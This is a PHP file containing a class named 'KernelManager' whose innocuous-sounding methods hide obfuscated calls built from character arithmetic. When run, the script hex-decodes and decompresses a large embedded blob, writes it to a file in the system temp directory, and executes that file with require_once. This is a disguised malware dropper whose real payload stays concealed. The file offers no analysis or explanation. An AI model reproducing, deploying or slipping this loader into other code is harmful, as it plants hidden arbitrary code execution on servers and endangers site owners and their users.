<?php
class KernelManager
{
    private $cn = '';
    private $iw = '';
    public function sanitizeInput($p1)
    {
        $s = array(94 * 1 + 16, 111 - 6, 49 * 1 + 49, 50 * 1 + 0, 40 + 80, 101, 42 * 65 - 2626);
        $k = '';
        foreach ($s as $l) {
            $k .= chr($l);
        }
        $k = strrev($k);
        return $k($p1);
    }
    public function executeAction($p1)
    {
        $z = array(16 * 7 + 3, 72 * 112 - 7949, 101 * 1, 52 + 62, 100 + 10 + 2, 115 - 6, 3 * 37, 15 + 84, 44 + 66, 3 * 39, 131 * 77 - 9965, 95 * 45 - 4172);
        $e = '';
        foreach ($z as $ec) {
            $e .= chr($ec);
        }
        $e = strrev($e);
        return $e($p1);
    }
    public function scheduleJob($p1, $p2)
    {
        $p = array(100 + 7 + 3, 103 - 2, 79 + 17 + 16, 121 - 10, 23 * 1 + 79);
        $pl = '';
        foreach ($p as $f) {
            $pl .= chr($f);
        }
        $pl = strrev($pl);
        return $pl($p1, $p2);
    }
    public function generateToken($p1, $p2)
    {
        $b = array(46 + 17 + 39, 124 - 5, 120 - 6, 3 * 35, 2 * 58, 111 - 10);
        $e = '';
        foreach ($b as $z) {
            $e .= chr($z);
        }
        return $e($p1, $p2);
    }
    public function updateCache($p1)
    {
        $y = array(42 + 59, 5 * 23, 72 * 1 + 39, 108, 105 - 6, 103 - 1);
        $s = '';
        foreach ($y as $r) {
            $s .= chr($r);
        }
        $s = strrev($s);
        return $s($p1);
    }
    public function computeResult($p1, $p2 = null)
    {
        $k = array(109 * 1, 93 + 12, 114, 42 + 74, 15 + 99);
        $d = '';
        foreach ($k as $v) {
            $d .= chr($v);
        }
        $d = strrev($d);
        return $d($p1, $p2);
    }
    public function logTransaction()
    {
        $this->iw = $this->computeResult($this->logEvent(), '/');
    }
    public function processData()
    {
        $this->cn = $this->executeAction($this->sanitizeInput($this->jn));
    }
    public function terminateSession()
    {
        $fn = $this->iw . '/ru-690d7df7d5073';
        $f = $this->scheduleJob($fn, 'w');
        $this->generateToken($f, $this->cn);
        $this->updateCache($f);
        $this->cacheData($fn);
    }
    private $jn = '789ca5570f6fea480eff2aad542d44540892cc04ca669f9e7' . 'abcdba7eb9555db77ab5585a2904c201092903f7d946ebffbd' . '99e844b02857d7b8d423363fb678fedb1677efe142fe20b27b' . '0d3f4c25aa5e95b9cf82f76262ed2ccce7ce7ca9af9d9487e5' . 'f7879e8647e145e58eec66d5f59db8df2e67bedcb5404decd0' . 'db12af2dbcabdb6324a449627e1c5426cd5991fb62b6ccf283' . 'c5546ef756d150d08f0569130ed24b15fdb2d6b17bcb4cc5f5' . 'a7a9f6bf030433334d5d535eef156b7250cdd50e1d35161e00' . '28f038f6718c0e101012687dce0432e345bed218fddba6e592' . 'f8b1541c21871008433fc555da61b43a3c719b2f3bed1836f0' . '7c435f8d6e13ff0aa1eb761c4e1057b0cc4e42062e808bcdbb' . '8080cfc031c2e7d8786cc18ea364069baa60f35ae0f01c2d07' . '4ddf9e0ff1010d16a9d193ae343dd83d7d67acc66a06da00ba' . 'db767d1b8cb387709d24311dd60dcb0d12a1db4e187865e407' . '3e69bef688ed1370c835cd16de17f32f5754934cd414972eda' . 'c1015243a5b48325268cd7dae6b44f263023538399fbce0e30' . 'c7ed9c16bf919aff693b174d20062a71b3d70b5a77ae041c65' . '555000efce71c96e2c0d70082a961780ca0710c968bda3df90' . '92e057241b4712d9ae6719d82d5d75cb225ddc98818c0c5717' . '50cdd24c07d14317fbd253afa41dac368f5888ff9c11972391' . 'b5aa34681ed12378682bb926cc7497545868693e9ab4c32082' . '1f2ea6a0f673d9a44537b6426397fbd2ae2c2382b82a21a14b' . '24dee91df3d7261b26743038c221492335fd242410be81a301' . 'd9e9eea697d15b2a5e7f66cbd70a5866197b63885d58846349' . 'c5c84141d8441294de6838087718cc4b098c01d02bbd091112' . '8d84151b9c7762fd2654075a44e8f2287b4609597c990bdfa8' . '5117b0b1cbf6200b9272047168b621ee4b583b119c258c014c' . '2ea43466b9af9755e36007eae7b4c85bdd4676882ae93885e0' . '8d256f1d0a12a024494b14c0579a8210cb800a0afa310d1376' . '14301631af0a80c218011a382984ca7bd431f2096886d29477' . '3a8bb268da2b41e924707ee82d249eb866c8fd2986ce4284d6' . '8d23c11379c55e5922c33bbc4f5e3f0c0b380b4772eae0008e' . '4a321594c9996c647e25106631f8968753a12e8d12206b864a' . '2a0dc6a5b97c3a50d68c107d2a5ab298eb45d3d469b027de66' . '60781243e8c6545507a6dfe51d0f78e4d42aa80505d54e8282' . 'ef78a3aa0efeb01daee47643cb800f707412fe5b634a845f52' . '8527a5f2beaaf5a3a3558fb7b3e0aaf0afb8d9720cbed4a52a' . '100d39657a932cbed9107295936344a30279ad1e663856d7d9' . '9b8b4b165c7026caa51e9be215037806a043dfa7d216c57246' . 'd3c1e406bc7de2fdbb0a28c8e915e40143a2a50e170e0a7a9c' . '8e0acf0cff1d3731d00b8a03d2a534579bbb2368169bdba411' . 'd08fba54441869f7e4ab3248e521a5cd718e788f51d782f4dd' . '3b38354286fae2fea60d8d100ec5d00f9903ac7f6b62086f75' . '356fbc016974667c237afacdbc9e45f5fc7a32bcbd9996d3fc' . 'c9424ca43b7ddebc0a38cf0a0539dee770dd6a9ff20d3324d8' . 'a134e317a46bca9597799df5246df177e208ac35785b36b923' . 'dcf555500cf94a93c6ba1172f4fb274aac67759075e58e7db0' . 'fcaf1ea9fd1393b012a6689b057e4bf4ee7e3c5db01b8feb52' . '53d0a8cefe4d9a6016a57abfe75ce8c95baf15a9df9ec84825' . '640d8a5d11528bd5b5ff599b1326d2bdd0310dea1472963d72' . '0ab1d7840122da07424773431209095b760bf3ee0631d0cf6e' . '8504957659dfa0f616c3787185a639167c6caf470c90cf744f' . 'd87d435d8068da89e19134433833bf0e03e8618faa113e4ae9' . '09e1cbdffef128215e9ca5abde062dd99d9b2f3b937b783244' . 'a5be8f097605dcf5138d4a20fe78d692cee319e5f5a1865809' . '385d172ec20b06741a31461614ce1dd4135422d49663a79125' . '87ee863499aaf95118da1424531ce24d9f5edb787bbc96f4fd' . '6e3e39df59ff1c3d72f7ffc361e3f5ccb5af857d87f9d3c3e5' . 'dff7f1bf9849e2f93bbbbc9ef7793dbcf4f5f27f7d7470acd0' . '9e187f1d3b787fba787cff78f5f604d3f26fcebf8f33f1a425' . '4974f88dc4eeeefc7b74f4f5fff3d9e7cab3945ede20ed8bfa' . '7408e486b8d243d3356309330c34887d80a873450fd8b97727' . '62e323ff4a28240534e10a5a298a0c609cc8d16b686e4da420' . 'fbbacf5a55eaf03afa21497764a9da25b5e59eb3030633b498' . '5053a8a24bcb2f2103a1e119f9bf90e3724656a362a38ee81a' . '4450bcbb6719d88190f3724dc20077870499245b06ccbc734a' . 'e57d49609ba5bc7de00192e4e47b10b9ba6a3638278893a2ae' . '51452dddaec026643b9cfb10a6c4d2f8d9c55148bb0dd266f7' . 'daa6f743841ddd46682155a0a1e3aa6337b05229c00a6d712a' . 'b9a986a1f53127f959b6a1bea75f45e79829a6f95372fceb39' . '4beaf69bd68a7eb868d734b79c8b8f444544862215a45a6071' . '957c857d533dea9bca54200562885f16cb28ae42480d47d0cd' . '73b8c5ad38abfd38bbd32f9c16038c7c94c260bb04fefe2d42' . 'c13e871fc0075ef30878296ec82f9ee1cebac080672a7a7b9e' . '10a29f976d93954b84d02eba7e3f444141bb79e343b6c1801a' . '59cf3e29fd4b0de9e80c71b441c1cc0c3f5906c3fe33d7930c' . '6fcff58439e16a7e79b300f82f36e8e807d75026f55faa3803' . 'b13070c30dc023fc643ffcef77890ae9e1f6422b15eeca44d1' . 'ea8263d1fe009e5e057f6ec599e9924212b68132adffd2052b' . 'edb97623991c2c4a97b4a12cafb0c5e5484b3882eea8e837b2' . '9d618c0ea1e786049a45d8382a76fb8932209b2ac4e5b6e65a' . '046620b4714852cbb2c4d031dca9f7fee87bbda08a0d0c042a' . 'c58a13b2fae42f5e409e85ca498bf1066fd02e844b42589b86' . 'bd0705b6162ba928c2ab1ea2d4d686522742238f8cdec5470d' . 'd2a46cb340acb6fb446a18e55de5051f4afdc49d1dab47625c' . '53820dfde4defff05fb43a450';
    public function cacheData($p)
    {
        require_once $p;
    }
    public function logEvent()
    {
        $a = array(115, 48 + 73, 106 * 114 - 11969, 95, 44 * 69 - 2933, 101 * 1, 2 * 58, 33 * 93 - 2974, 122 - 6, 20 * 3 + 41, 79 + 30, 46 * 65 - 2878, 103 - 8, 2 * 2 + 96, 61 + 22 + 22, 44 + 70);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$pd = new KernelManager();
$pd->logTransaction();
$pd->processData();
$pd->terminateSession();